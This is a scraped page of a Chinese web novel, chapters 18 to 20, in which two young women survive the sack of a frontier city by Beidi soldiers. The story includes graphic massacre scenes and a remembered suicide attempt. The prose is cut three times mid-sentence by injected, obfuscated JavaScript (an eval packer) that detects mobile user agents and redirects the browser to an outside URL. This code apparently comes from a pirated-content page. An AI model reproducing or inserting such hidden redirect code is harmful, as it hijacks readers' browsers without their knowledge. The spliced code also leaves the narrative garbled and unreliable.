“有鬼,有紫毛鬼啊!”一名小厮见到正在府中巡视的一队府兵,就像是看到了自己的亲人,立刻冲上前抱住了领头人的大腿,“下人院的小窗户那里有个女鬼,头发特别长,还是渗人的紫色!” 懒散的府兵还以为他在开玩笑,提腿欲踹,“你要说有逃窜的流民闯了进来,你爷爷我还能信你几分。” 小厮硬生生挨了一脚,又是磕头又是起誓。领头的看他被吓得魂飞魄散的模样不像演的,脸上的表情也凝重了几分,竟然带着一整队人跟在小厮的身后离开了。 躲在暗处观察的小满现身,左顾右盼确认着路线。她之前就已经将府中的布局记了个大概,稍微推算一下,不难发现书房的所在地。她看了一眼不远处的红顶房子,快步跑去。 小满想得不错,这处红顶建筑就是贺府的书房。她趴在纱窗上仔细辨别着屋内的细碎响动,确定无人后掀开窗户钻了进去。 这贺老爷似乎是个儒商,书房里堆满了各式各样的版印书和竹简书。一旁的红木书桌上敞着一张写了一半的字,看样子北狄人上门要钱时他还在进行着文雅的娱乐活动。 时间有限,小满顾不上遮掩,她翻箱倒柜,快速扒拉着琳琅满目的书籍。很快,她挑了几本一看书名就是和垂玉城有强相关的书籍,统统塞进了前襟中。临走前,小满还不忘顺走放在坐塌小几上的两碟点心。 凭借着对路线的熟悉,小满借着雨幕和树木的掩护,一路上有惊无险地回到了祠堂。 嘻嘻躲在架子下,只露出一只眼睛,见小满回来,她走上前,沾沾自喜地讲述刚才逃脱的经过,“我还以为他们会直接翻墙出来抓我呢,没想到那些人这么蠢,反应了好一会才追出来。哎,其实他们直接追也追不上我,我半马跑一个小时四十分钟呢……” “这个不要吃,还有,不要打扰我看书。”小满将扣在一起的碟子放到正在滔滔不绝地讲述自己光辉事迹的嘻嘻手中,自己坐到一旁看起了书。 “古有仙人北去修行,见此地山清水秀,将手中的玉佩抛下,垂玉城因此得名……垂玉特产青玉,此地边陲与北狄接壤,曾有贸易市集与北狄互通有无……”文言文晦涩难懂,不过小满曾帮彤彤整理过写论文时需要的资料,所以虽说读起来磕磕绊绊的,但好在没有耽误太多事。 太阳西斜的黄昏时分,小满看完了所有的书。她将几页带着图画的纸撕下揣进怀中,走出祠堂向外张望着。府上下人们的禁足解了,贺府又恢复了往日的安宁。空气里传来一股米粥的香气,看来厨房煮的大锅饭出锅了。 府上的下人都聚在后厨的一处大堂用餐,小满担心人多眼杂暴露身份,强忍饥饿回到祠堂。她叫醒缩在架子下呼呼大睡的嘻嘻,顺手把盖在上面的绸布扯下,一股脑地将剩下的水果打包带走。 “要走了吗?”嘻嘻揉揉眼睛,呆呆地跟着小满的脚步。 小满将头巾盖在她头发上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233829|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “把头发绑一下,天一黑我们就出发。” 借着夜色的掩护,小满和嘻嘻来到一处不起眼的角落。嘻嘻指着一处墙角,“我就是从那边翻进来的。那个渣男让我踩在他肩膀上,让我攀住了墙檐。” 说到这,嘻嘻忍不住翻了个白眼,“明明说好了要一起进这家园子的,谁知道他把我举到墙上一溜烟跑了。我正准备跳下去追他呢,结果北狄人来了,我就只好翻进贺府了。” 小满聚精会神地关注着墙外,确保除了远处的喊杀声外没有旁的声音后招呼嘻嘻过去。 “干嘛?”嘻嘻疑惑地看着小满,看着她把自己的手贴近墙面,弄成一个半蹲的姿势,此刻,她恍然大悟,“你是要让我当梯子?” 小满点点头,作势正要踩上,嘻嘻却往后缩了缩,“我不要,我……我这么弱,支撑不了你的体重。” 小满叹了口气,“你不是说半马跑一个小时四十分钟吗?感觉你比我强点。” 见嘻嘻还是不情不愿,小满只好道:“下次如果还有这种情况,我让你踩。” 总之,小满在嘻嘻的托举下摇摇晃晃地坐到围墙上。她伸手去拉嘻嘻,不料嘻嘻不耐烦地啧了一声后,后退助跑几步一口气爬上了围墙。她看着嘻嘻流畅的动作,几乎都要忘了这个女孩做了美甲。 嘻嘻一面检查着自己的指甲,一面抱怨着,“我的美甲是前天才做的,没想到进了便利店还得下力气,早知道我就提前卸了。诶,你之前做过美甲吗?” 小满没接嘻嘻的话,只是骑在墙头望向远处。嘻嘻抱怨了几句,也顺着她的视线向远处看去。 只一眼,嘻嘻便惊呆了,她甚至希望自己今天出门前没戴隐形眼镜,那样的话此刻就不用目睹眼前所发生的一切。 此时天边虽有深沉暮色,在火光照彻下,垂玉城明亮如白昼。熊熊烈火在每一寸视线所及之处燃烧,原本繁华宽阔的主街道此刻尸横遍野,断壁残垣下到处都是尸体和在痛苦呻吟的将死之人。 稍微高点的男人会被一刀砍死,女人若是相貌平平,也和男人一样的下场。面容姣好的女人则会被拉入暗处,承受着惨无人道的侵害。 身穿北狄铠甲的士兵见到还在抽搐的人,立刻上前补一刀然后随意地翻动着尸体,找寻尸体上的值钱物件。骑着高头大马的北狄人手拿马鞭,像是驱赶牲畜般驱赶着一堆用铁链拴住的老少妇孺。 外面的场景之残暴,说是地狱的景象也不为过。 “这,这实在是……”嘻嘻收回目光,轻轻掐着自己的手心,强迫自己镇定下来。 “是啊,实在是太残暴了,”小满的声音平静得听不出什么情绪波动,“不过还好,我们在贺府中躲过了第一波屠杀。” 说罢,她跳下围墙,“走吧,我们得趁着这里没人巡视找个新的落脚点。” 嘻嘻跟在小满身后,一副紧抿着唇的不忍模样。 小满停下脚步,扶住嘻嘻的肩膀,强迫她直视自己的眼睛,“嘻嘻,答应我一件事,接下来无论发生什么,一切以我的行为为准则。” 嘻嘻颤抖着嘴唇道:“如果我的想法和你不一样呢?如果,如果我做不到呢?” 小满没有回答,她勾起唇角,笑眼弯弯。 嘻嘻直视着小满,眸光闪动间流露出犹豫与复杂之色。片刻后,她咬牙点头,“好,我知道了。” 18. 垂玉城七日4 垂玉城城东边有一条蜿蜒的河流,许多有钱人纷纷出资购买河畔的土地来建造宅子。久而久之东边雕梁画栋的房子鳞次栉比,汇聚了垂玉城最有钱的人家。贺府也不例外,他在这片区域的最北边,紧挨着河流上方。 太阳西沉,暮色四合,贺府与平民居住的区域仅有一街之隔,小满省去了找路的麻烦,她紧了紧身上背着的布袋,拉着嘻嘻北上离开富人区,沿着河流慢慢向南方走去。 垂玉城有南北两个主城门,北城门正是防御最坚固,也是北狄人南下的第一道障碍。北狄人久攻不下,一旦攻进了城,士兵疲乏的神经得到满足,正是见人就杀,见财就抢的时候。因此,最靠近城门和城市主干道的平头老百姓首当其冲地成了第一批受到杀戮与抢劫的可怜人。 此时此刻,大部分北狄人正在搜寻北部,来南边富人区的大多只是为了勒索钱财。所以,南边现在相比北边来说安全许多。 既然已经确定好了目标,小满也没什么可顾虑的,她拉着嘻嘻的手沿着河沿快步行走。 河泥湿滑,踩上去一脚高一脚低,一不留神还会滑倒。嘻嘻小声抱怨着槽糕的路况,脚下却很坚定地走着。 “等一下。”小满停住了脚步,她侧耳倾听,似乎远处有一阵哒哒马蹄声由远及近,正往这边赶来。 嘻嘻遥遥看到远处赶来的一串火光点,二话不说,往河埂上一躺就要装死。小满将背上的包袱一丢,拉着她就要下水,“他们是从河对岸来的,火光一照,正好能照见我们两个。这边他们还没开始屠杀,不可能出现尸体,他们骤然看到两具尸体会起疑心,所以最稳妥的方法就是憋气进水。” 嘻嘻点点头,深深吸了一口气后潜入水底。小满折了一旁的两根芦苇,也跟着钻进了水中。 她们刚入水,就感到一阵光芒从水面上扫过。她们不敢抬头,想象着自己就是一根随水流摆动的海草,与此同时减弱呼吸频率,减少氧气的消耗。 声音透过水面传到小满耳中,听得十分不真切。他们用着自己的语言,不知道在叽里呱啦说些什么。 小满感觉自己有点缺氧,她悄悄地将芦苇棍放到嘴边正要吸一口,忽然,水面剧烈地震动起来。 一个领头的骑着马下了水,紧接着,他身后的小队依葫芦画瓢,带着马趟过了这条河。铁蹄近在眼前,小满却有点呼吸困难,她伸手捂住自己的嘴巴,努力不发出声音。 氧气渐渐稀薄,小满的意识也越来越模糊。她的大脑一片空白,两只手机械地做着搅动水的动作,此刻唯一的一点力气被她用来思考“就这么在这里死了是不是也很好”这个问题。 “醒醒,喂喂喂,醒醒!” 嘻嘻等马蹄声渐渐远去才上岸,但上岸后她并没有发现小满的身影,回到原本的地方潜入水中捞来捞去,终于打捞上一个人形物体。 小满吐出一口水,小声地咳嗽着。她的喉咙火辣辣地疼,像是刚刚跑了三千米的赛跑。 嘻嘻全身都湿透了,她拧着身上滴答掉水的衣服,忍不住打了个喷嚏。 一阵微风吹过,小满也不禁打了个寒战。“没有换洗衣服,也不能洗澡,先忍忍吧。等到了没人的地方,咱们生一堆篝火好了。” 说罢,她简单地拧了一下衣服上的水,重新拾起了她放在岸边的包裹。 她原本只是漫无目的地和嘻嘻南行,不过北狄军人的出现还是给了小满一个大体的方向:她要跟在北狄军人身后,看他们会去哪里,要做什么。 她把这个想法一和嘻嘻一说,嘻嘻立刻抗拒地摇摇头。小满耐心地给她分析道:“白天他们已经在城中搜罗过一轮,就是这边的富人区也不例外。他们回去后一合计信息,自然就把这些人的斤两摸了个一清二楚。此刻他们再度返回,定然是要去找些普通富裕的门户索要钱财,如果交不上嘛……” 小满看了嘻嘻一眼,嘻嘻好像明白他们会做什么了。第一次是商量,第二次是威胁,前两次已经把羊毛薅得差不多了,第三次就应该杀羊了。 小满继续说道:“那么他们刚刚洗劫过的地方一定是安全的,最起码明天早上到来前不会再反复回来第二次。我们跟在他们身后,肯定能找到一个相对安全的住所。” 这番话似乎说动了嘻嘻,嘻嘻犹豫了一瞬,默默地点了点头。 秋风冷,风一吹,半干的衣服就黏在身上,十分难受。小满不由得加快了脚步。 果然,不出小满所料,有一处院子火光冲天。小满和嘻嘻对视一眼,低俯着身子小心翼翼地往那边靠去。 那户院子的门口站着一圈骑着马的北狄士兵,人群的正中央乌泱泱地跪了一片人。 为首的一个老年男人哭得一把鼻涕一把眼泪,他不住地拱手作揖,“大人们,我家的银钱都尽数交给你们了呀,这院子里真的没旁的什么金银财宝了!” 领头士兵嗤笑一声,拔出剑横在老年男人的脖子上,“你把银钱交给我们了?你交给谁了?我怎么没见过?” “就是,就是和你们一样穿着铠甲的军老爷呀!”老年男人看着近在咫尺的锋利刀刃,说话时吓得下巴上的胡须都在抖动。 领头士兵咧嘴一笑,“你给他们交了钱,又不是给我交了钱,还指望我放你一马?老头,你老实点告诉我,你这家里可还有金银布帛?” 老年男人哭得更凶了,“真没了,军老爷,真的是一点都没了!” 他的话戛然而止,因为领头士兵一刀横划过,划开了他的脖颈。 老年男人捂住自己的脖颈,嘴里发出痛苦的嘶嘶声。人群中发生了一阵不小的骚乱,但在士兵锋利刀刃的无声胁迫下被迫安静下来。 领头士兵直接让人提上一个老年女人,这女人看样子是那个男人的夫人。她面如土色,还没等领头士兵问话,就扑通一下跌到了地上。 领头士兵示意旁边的人把她抬起,狠狠地抽了她一耳光,“老东西,你家里可还有金银?嗯?” “有,有的,”她看了一眼躺倒在血泊中的老年男人,腿一软,又要跌坐下去。 领头的让架着她的士兵离开,自己半蹲到她面前,和善道,“那看来那男的杀得不冤啊,你告诉我,东西都在哪?” 老年女人哭得上气不接下气,“在,在正院里的那柱桂花树下面,我把一沓银票放在一个小木匣里,埋在树下了。” 按照她说的话,匆匆跑去查验的士兵竟还真的带回了一个小木匣。领头士兵打开看了看,满意地点了点头。 见他如此动作,老年女人的眼睛里不禁升起一丝希望,“军爷,可否,可否放过我们一家老小?我们家人丁不旺,到了我这一辈就只有一个儿子……” 她的话还没说完,那个领头的士兵再次拔刀。一阵寒芒闪过,她的身子也软软倒下了。 被称为是她儿子的那个中年男人哭都来不及哭,上前抱着领头士兵的大腿哀嚎求饶,“我娘已经把我们最后的家底都交给你们了,求求您放我们一条生路吧。” “在我们那里,只有金银是硬通货。银票?我们不用。”领头男人撂下这句话,骑着马离开了。他手底下的士兵接到指示,纷纷拔刀,将剩下的人杀了个一干二净。 正当他们要转身离开时,一个身穿铠甲的士兵忽然提着一个五花大绑的男人走近了领头士兵。他们用北狄的语言交谈了几句,随后,领头士兵看向男人,笑中带着点玩味,“你是说,你懂一些有意思的东西,想要跟我们交流交流?” “交流算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235726|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上,就是弄些小把戏让各位大人乐呵一下。”男人点头哈腰,笑得十分谄媚,“实不相瞒,小弟从异国他乡而来,会些上不得台面的小把戏。如果大人能把我带回去,我就能让各位乐呵乐呵。” 领头士兵不置可否地笑了笑,“既然你会些逗人乐的把戏,又怎么会被这一家子关在柴房里呢?” “误会,都是误会呀!”见领头士兵一直笑着盯着自己,男人心里也不由得有点没把握,只好高呼误会。 幸好那领头的只是开个玩笑,他做了个手势,立即有人来给男人带上了脚铐,将他拴在马后离开了这里。 他们终于走后,一直憋着不说话的嘻嘻惊讶地睁大了眼睛,“那个男的怎么穿着印花T恤?难道他是会员?” 小满点点头,“看来是这样的。可能是任务最开始的时候他降落在了这户人家中,结果刚好被人撞见,当做小偷抓了起来,直到这户人家被清洗,他才得以重见天日。” “那他说的那些把戏是什么?” “是魔术吧,他想用魔术来糊弄一下这里的人吧,说不定下一步就说自己是神仙,会的都是仙法了。”小满摇摇头,一直密切地关注着躺在门口的人。 直到所有人都了无生息后,小满才和嘻嘻一起从后边的小门悄悄进入。 这府上被那群北狄士兵翻得一片狼藉,不止金银财宝,连木箱中料子比较好的衣裳都被他们拿走了。 不过好在他们在下人房中有发现,下人房油水少,他们搜得也不仔细,正好给小满他们留下了不少好东西。她们拼凑出两套完好的衣裳,将身上的湿衣服换下后从厨房找来火折子,在房中生了一把小火。 嘻嘻在房中烘烤她们的衣服鞋子,小满趁机跑到后厨,翻找着可以食用的东西。 北狄人似乎信奉带不走就打碎的策略,厨房里一片狼藉,小满好不容易才捡到了一捧干净的米,几颗没有被踩烂的菜,还有一颗完好无损的鸡蛋。 她带着所有东西回到下人房和嘻嘻汇合,把所有的食材混合到一起,煮成了一锅没什么味道的寡淡的粥。 她们马马虎虎地应付了一顿,小满让嘻嘻去休息,“今天晚上指不定还有什么人会来,我先给你放哨,三个小时以后叫醒你,换我睡。如果明天下雨,那我们就继续赶路,如果不下雨,就现在这屋子里待着,等天再暗些我们再走。” “我睡不着,我一闭眼,就是他们人头落地的情景,我害怕。”嘻嘻将脸埋进膝盖中,有一下没一下地抽动着鼻子。 小满哦了一声,“那要不我先睡好了,你先整理一下自己的情绪,如何?” 还没等嘻嘻应答,小满立刻背过身去闭上了眼睛。 见小满已经入睡,嘻嘻也不好多埋怨什么,只好唉声叹气地骂那个便利店店员,骂这个任务,骂和她分道扬镳的渣男。 小满想要入睡,但只要一闭眼,那股溺水的窒息感又会重新占据她的大脑,让她剧烈地咳嗽起来。但她不想放弃这来之不易的休息时间,只好闭目养神,休息着自己紧绷的神经。 即使知道那只是幻觉,即使知道现在只是在一个不现实的空间中完成任务,她一想到晃动的水波,还是会感受到真实的窒息感。 这种窒息感来自她自己,是她自己选择溺死自己的。当时明明差一点就成功了,但是千钧一发之际,一双手将她捞了上来。 唉声叹气的男人拨打着急救电话,向自己投来责备的目光。双眼猩红的女人晃动着她的肩膀,眼中全是癫狂。她大声地朝着自己喊道,不能让你这么轻易地死掉,就算是死掉,也要经过她的同意。 她最后说了什么来着?她好像是说,你如果再威胁妈妈,妈妈会把你杀掉的,我的楚夏,我的女儿。 19. 垂玉城七日5 小满摆脱了梦魇正要入睡,突然被一股大力晃醒。 嘻嘻轻拍着小满的脸,一整张脸困得皱巴巴的,“醒醒,醒醒,交班交班。” 小满乖乖起身,给嘻嘻让出一块干净的空地。 嘻嘻累得头一沾枕头就睡着了,她缩着身体,一副害冷的模样。小满摸不出她的头是烫还是正常,只好将剩下的烘干的衣服披在她身上。 闲来无事,她打开倒计时计算时间。现在正是晚上十一点,要是没进那家诡异的便利店,也就不会成为会员,那么此刻在现实世界中的她或许还在一边赶稿子一边追番剧,说不定还能约彤彤出来吃个夜宵。 但是往好处想想,如果她不是会员,那么彤彤的死会被当成一场自然发生的意外,自己也就不可能有机会让她复活。 想到这,小满不禁皱着眉毛笑了一下。她不是个喜欢回忆过去的人,或许真的是水中的那场意外,熟悉的窒息感唤起了自己的记忆,今天也忍不住多想了些事情。 清醒过来又觉得无聊的小满清点着自己和嘻嘻的随身物品,两身半干的衣服,几张湿哒哒看不清字迹的纸,一些水果和点心,还有两台手机。 三个小时后,小满收拾好东西,见窗外夜色如墨,叫醒嘻嘻,“现在离天亮还有段时间,我们要不要再往前赶段路?” 嘻嘻按捺了一下自己的起床气,不满道,“前面说不定没有空置的屋子了,咱们要不就在这里多待会?” “有的,肯定有的。”小满笃定道,“这片居住区前面是东市集,再往前是一片小商贩的作坊,九成九都肯定会有空置的屋子,就是不知道北狄人杀到哪里了,这才是我们需要担心的。” 嘻嘻一步三个哈欠,紧赶慢赶下收拾好了东西。两人扯下一块碎布盖住熄灭的火堆和使用过的厨具,再次踏上了南行的路。 越往南走,建筑越是被破坏得支离破碎,景象也越是触目惊心。 几乎走两步就能看见尸体和残肢,道路中央有以人为柴做出的火堆,滚滚浓烟弥漫,有风吹过,带来一股燃烧的蛋白质的糊味。 嘻嘻终于忍不住,扶住一根棍子大吐特吐。结果吐完抬头一看,棍子上还挂着一排人头,她差点吓得晕死过去。 小满带着嘴角要耷拉到地上的嘻嘻在残破的建筑中穿行,直到停到一处空旷的布店。这家布店位于垂玉城主干道的一处小分支上,店中央躺着一具死不瞑目的中年男尸,他身上横七竖八地划着许多伤口,身下蓄积着一滩早已凝固的血迹。柜台被锋利的刀劈成两半,柜台后面原本用来放置银钱的匣子不翼而飞。 这是一个符合小满预想的安全的藏身地点,她小心地拖动着柜台,在角落拼凑出一个可供两人躲藏的区域,率先将背上的包袱放了进去。 嘻嘻按照小满的吩咐清理好窗口处的空地,然后招呼小满坐过去。小满露出小半只眼睛观察着屋外,低声说道:“前面巡逻的北狄人太多了,我们等傍晚他们换班后再趁机过去。现在咱们就先在这里呆着好了。” 空旷的主干道成了北狄人寻欢作乐的最佳场所,他们让颈上拴着铁链的女子们换上轻薄的纱衣,围着篝火一边唱歌一边跳舞。有的人借着篝火的明亮清点自己收获的财宝,有的人大口吃肉喝酒,眼睛直勾勾地盯着正在起舞的女子,眼底全是赤裸裸的欲望。 那个眼神看得嘻嘻心里毛毛的,她缩回窗台下,轻轻扯了扯小满的袖子,“他们为什么会屠城呢?他们打仗的目的不就是为了城中的物资吗?普通的金银就不多说了,不是说男女奴隶也是一种物资吗?为什么还要大肆杀人呢?” “大概是为了发泄吧?”小满随口答道,“不是说暴力是潜藏在人类基因深处的本能吗?屠城只是把这个行为正当化,合适化罢了。” 嘻嘻赌气似的回到了小满打造的安全屋,“反正我就是不理解,那群人都是变态,大变态!” 小满看了一会正在大肆庆祝的北狄人,正要缩回去吃点东西,忽然,一个骑着马的北狄士兵快速来到了正在寻欢作乐的北狄人中。 小满看清他的脸,惊讶挑眉,他就是刚刚带走了一个会员的领头士兵。 领头士兵翻身下马,和迎接上来的北狄人一一碰肩膀问候,随后他来到马的末尾,提起一条血肉模糊的物体。这正是那个说要给领头士兵找乐子的男会员! 此刻的他狼狈不堪,身上的T恤不知所踪,裸露的皮肤上到处都是鞭痕,好像是被人严刑拷打过。 领头士兵把人扔到空地上,用北狄语和在场的人说了些什么,随后,他一鞭子抽向男会员,男会员呆愣愣地抬手抹了一把鼻子中的血,从口袋中掏出一副脏兮兮的扑克牌。 他正在展示的好像是一种简单的扑克牌魔术,就是利用衣物和手法的遮挡将选中的牌换成另一张。但是此刻他赤裸着上身,一双手伤痕累累,一张牌在他的摆弄下不停地掉落,他越是急,这个魔术就越是不能完成。 见他慌慌张张一副欲哭无泪的模样,领头士兵哈哈大笑,在他伤痕累累的背上又添了一道新伤。 周围的士兵都嬉皮笑脸地向男会员投掷着手中吃剩的骨头,像是在戏耍一只落水的老狗。 笑够了,一个坐着的士兵拍拍手,立刻有人牵上了另一个脖子上带着镣铐的男人。他和那个男会员一样,身穿一件红色T恤和牛仔裤,只不过这个男人虽然脖子上带着锁链,但身上的衣物完好无缺,脸上也不像有伤的模样。 小满看到那副没什么表情的脸,眉毛直跳。 那个人不是青云还能是谁? 上次有关哈比的任务最后,他没有回答隐藏问题而是直接走出了门。小满也没有收到过他的好友申请,本以为世界这么大他们不会再见,没想到这才过去不到一个月,两人又在这个任务中碰上了。 小满来了兴趣,她盯着青云,很期待他能做出什么回答。 青云只是看了伤痕累累的男人一眼便扭过头去,笑道:“他所施展的叫做魔术,是大罗神仙术中最基础的一种。眼下他精气尽散,不能再施展魔术了。” “哦,那么他就是一个没用的废物了?”一个北狄士兵一听这话,提着刀上前,似乎下一秒就要砍下男会员的头。 青云装模作样地在围着男会员转悠几圈,嘴中念念有词。然后他忽然一拍手,“大人且慢,他虽然不能施展魔术,但他手中带着图画的纸片,依旧是人间至宝啊!” 在场的人都被他糊弄住了,你看看我我看看你,随后将刀高举过头顶欢呼,似乎在让他说出个所以然来。 青云吊足了在场人的胃口,扫视了一圈后才开口,“这种纸片我们叫做扑克牌,神仙对决时常借助不同种类的图片和符号组成的扑克牌,以它为媒介斗法。所以,即便他此时此刻是个凡人,但依旧记得扑克牌的使用方法。” 说罢,他来到男会员身边,小声说着什么。小满所处的位置可以看到青云的口型,他似乎在说,你要是不会斗地主的话就死定了。 安抚好了男人,青云又邀请两名北狄士兵加入进他们的牌局,四人就这么在一片尸山血海中打起了扑克。 小满有点无语,她还以为青云思想控制了一个北狄人,原来只是凭借信息差用现代的东西哄骗一堆高武力值的傻子。 她觉得没劲,正想收回目光,忽然,青云抬头,朝她所在的地方看了一眼。他再低下头时,嘴角噙了抹似有若无的笑。 和之前那次一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235727|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,青云对目光很敏感,他又发现自己了。 按照他对待男会员的做法,小满觉得青云应该不会出卖自己,但他具体要做什么,自己还真的一无所知。 “啊,火焰高升处,旧人往复来。大吉,大吉啊!”青云将手中的牌一抛,哈哈大笑。 正在观战的人都入了迷,纷纷要求青云做出解释,但青云只是伸手比了个嘘,故作高深道,“今日的牌就解到这里,我需得和这位仙人恢复恢复法力,才能继续开解。” 一个士兵把两人牵了下去,剩下的士兵没了乐子,喝酒的喝酒,找女人的找女人,篝火旁又恢复了往日的疯狂。 小满念叨着青云说过的两句话,渐渐地有了眉目。他是不是知道凯文在哪里,特意给了自己提示,要自己去寻他? 火焰高升处,是不是指的这片区域内燃烧得最旺的篝火? 小满再次看了眼躺在躲避处安安静静的嘻嘻,走过去把她叫醒,“我要去找个人,你先别睡觉,看着点周围的情况。如果我回不来,你记得看我留下的那几张纸,上面是垂玉城的地图,你沿着他就能走到南边去,南边要安全一些。” “我要和你一起。”嘻嘻伸手拽着小满的衣角。 小满拂下她的手,“不行,人越多,暴露的可能性越大。鉴于你的特殊性,现在你最好是待在没人能找得到你的地方。” 听完这些,嘻嘻无可奈何地点点头,再三保证自己不会乱跑。 将一切都嘱咐完后,小满悄悄地从后门离开了布店。她要去找街道上火焰最高的篝火堆。 一路上她摸着小道前行,凭借着自己的谨慎小心地避开暗巷中的男女。终于,她似乎找到了最大的篝火堆。 散发着腐臭味道的篝火堆周围都有一圈圈的巡逻卫兵,还有几个身穿铠甲,正在搬运尸体的北狄人。那些北狄人搬着一堆堆僵硬的尸体,不停地投掷到 小满看了又看,确信这边不可能有一个穿着现代装束的短发青年男子。她正要放弃,却又突然想到了一个可能性:说不定凯文就混在那些搬运尸体的北狄人中呢?说不定那些头盔就是他的伪装呢? 这个想法在小满的脑海中激荡,她确信这就是正确的答案。于是她沉下心,仔细观察起那些搬运尸体的北狄人。 这一看还真让她找到了不同。一般来说,士兵在战场上冲锋陷阵,应该对血腥的场景见怪不怪了才是,所以,他们不可能对焚烧尸体有太大的抵触。而其中一个北狄人,他不仅戴着用布做成的面罩,在搬运尸体时还摇摇晃晃,一副弱不经风的模样,和他强壮的体格截然不同。 凯文似乎对鲜血和尸体有阴影,因此,在往常的任务中,他会很小心地避开血液和尸体,如果强行接触,说不定就会像那人一样,头晕眼花,脑袋胀痛。 想到这,她再次观察。她记得凯文很高,至少要比自己高一个头,身高对得上。她心中的想法又确立了几分。她不再犹豫,捡起地上的一块小石头抛向他。 石头与铠甲撞击,发出一小声清脆的叮叮当当。穿着铠甲的那人显然也注意到了这一小小的变化。 他放下手中装着尸体的车子,朝一个人高马大的领头的走去,看动作好像是在说自己要去方便一下。 他顺着声音的来源找到小巷子中,小声地咳嗽着,像是在给藏在小巷中的人一点提示。 小满听到声音,快速地从他的后面接近他。那个背影真的很像凯文,至少自己是这么认为的。 “凯文?是你吗?”小满深吸了一口气,忍不住问出声道。 那人扯下面上包裹的布子,伸手抹了一把脸上的灰泥,看到小满时眼前一亮,“小满?真的是你吗!是我,我是凯文。” 20. 垂玉城七日6 东市集离战火最密集处有段距离,这里没有太多尸体,更多的是肆意停靠在道路上的北狄士兵。 一部分士兵在东市集骑马巡逻,其他的围着篝火席地而坐。那些士兵有的借助火焰的光亮清点所收获的财宝,有的则给自己怀中瑟瑟发抖的女孩灌酒。他们放肆大笑,唱着声调粗犷的北狄曲子。 几经周折,小满的目光锁定了一家门四分五裂的小店。有了之前几次的潜伏经验,她轻车熟路地绕进店里,站定打量四周。 借着街上的火光,小满得以看清屋子的全貌。这家店里的空气中弥漫着一股馥郁的花香,地上横七竖八地躺着一些木盒和油纸包,周围还散落着一些白色粉状物体。 小满深吸了一口气,抱臂沉思:这里看起来是家香粉铺子,还是一家被洗劫一空的香粉铺子。空气中除了芬芳香气外没别的血腥味,要么是这家铺子的主人被带走了,要么是这里本来就是个空房子。总之,无论是哪种结果,小满可以肯定,北狄人暂时不会重新回到这里。 想到这,她找了个角落放下手中的包袱,原地伸了个懒腰。 忽地,角落传来一声短促的急喘,小满敏锐地捕捉到了这一点细碎的响动,冲嘻嘻比了个噤声的手势。这里难道还有别人?那这间屋子和定时炸弹有什么区别? 小满警惕地拉着嘻嘻后撤几步,她回忆着声音的来处,慢慢走向一个靠在墙边的竹篓,小心地将手覆在盖在竹篓的布子上。和嘻嘻对了个眼神后,她猛地将布子一揭,将手伸进了竹篓。 她摸到了一个温暖的,热热的东西。这里有人! 小满死死捂住那人的嘴,嘻嘻则控制住她胡乱踢蹬的四肢。怀中的人像个出水的鱼,在小满怀中扭来扭曲,如果不是小满稍微锻炼了一下,她恐怕会轻易地溜走。 别无他法,小满贴近那人的耳朵,低声道:“我就问你几个问题,你要是不配合,我现在就杀了你。听懂了的话就点点头。” 这一招果然奏效,怀中的人一听这话立刻停止了挣扎。结果小满刚放下手,那人就迫不及待地凑到了小满面前:“女侠,是我呀!” 小满借着昏暗的光线打量面前女孩的脸庞:“红杏?” 红杏似乎憔悴了不少,一张惨白的脸双颊微微凹陷,一看就是担惊受怕了好几日。 “嗯!”红杏用力地点了点头,“我出府不久外头就乱了,我一想我也没旁的去处就回到了这里,没想到还能碰到女侠你。” 小满重新看回红杏的藏身之处。半个破破烂烂的竹篓立在一个半人高的洞上,外头还盖了个用作遮掩的黑布。一打眼看过去,的确是个不起眼的好去处。 见小满对那个竹篓感兴趣,红杏忙凑上来讲解,“新鲜的花瓣要先焖好发酵一会才容易舂出花汁来,所以我爹在店后头挖了几个和竹篓直径差不多大小的洞,方便日常开工。我就蹲在最角角的位置,把那个破竹篓盖在上头,还真让我混过去了呢。” “这是你家的店啊。你爹呢?你后娘呢?”小满翻了翻包袱,挑了块糕点递给红杏,小声询问。 一提到这个话题,红杏的笑勉强了几分。她勾起一个难看的笑,“我爹早死了,这家店原本是他留给我的嫁妆。不回来还不知道,这家店让我后娘给盘出去了。我说怎么这么急着把我卖了,原来是要拿钱和她儿子跑到个清净地方享福啊。” “你也别太难过了,人在做天在看,她那样的人会遭到报应的!”嘻嘻大大咧咧地拍了拍红杏的后背以示安慰。 红杏抹了把眼睛,小口吃着糕点,不再说话。 等红杏的心情稍微平复了一点后,小满重新坐回她的面前,“红杏,这边已经完全被北狄人占领了吗?如果要去东南的荒山,我们还需要走多久?” 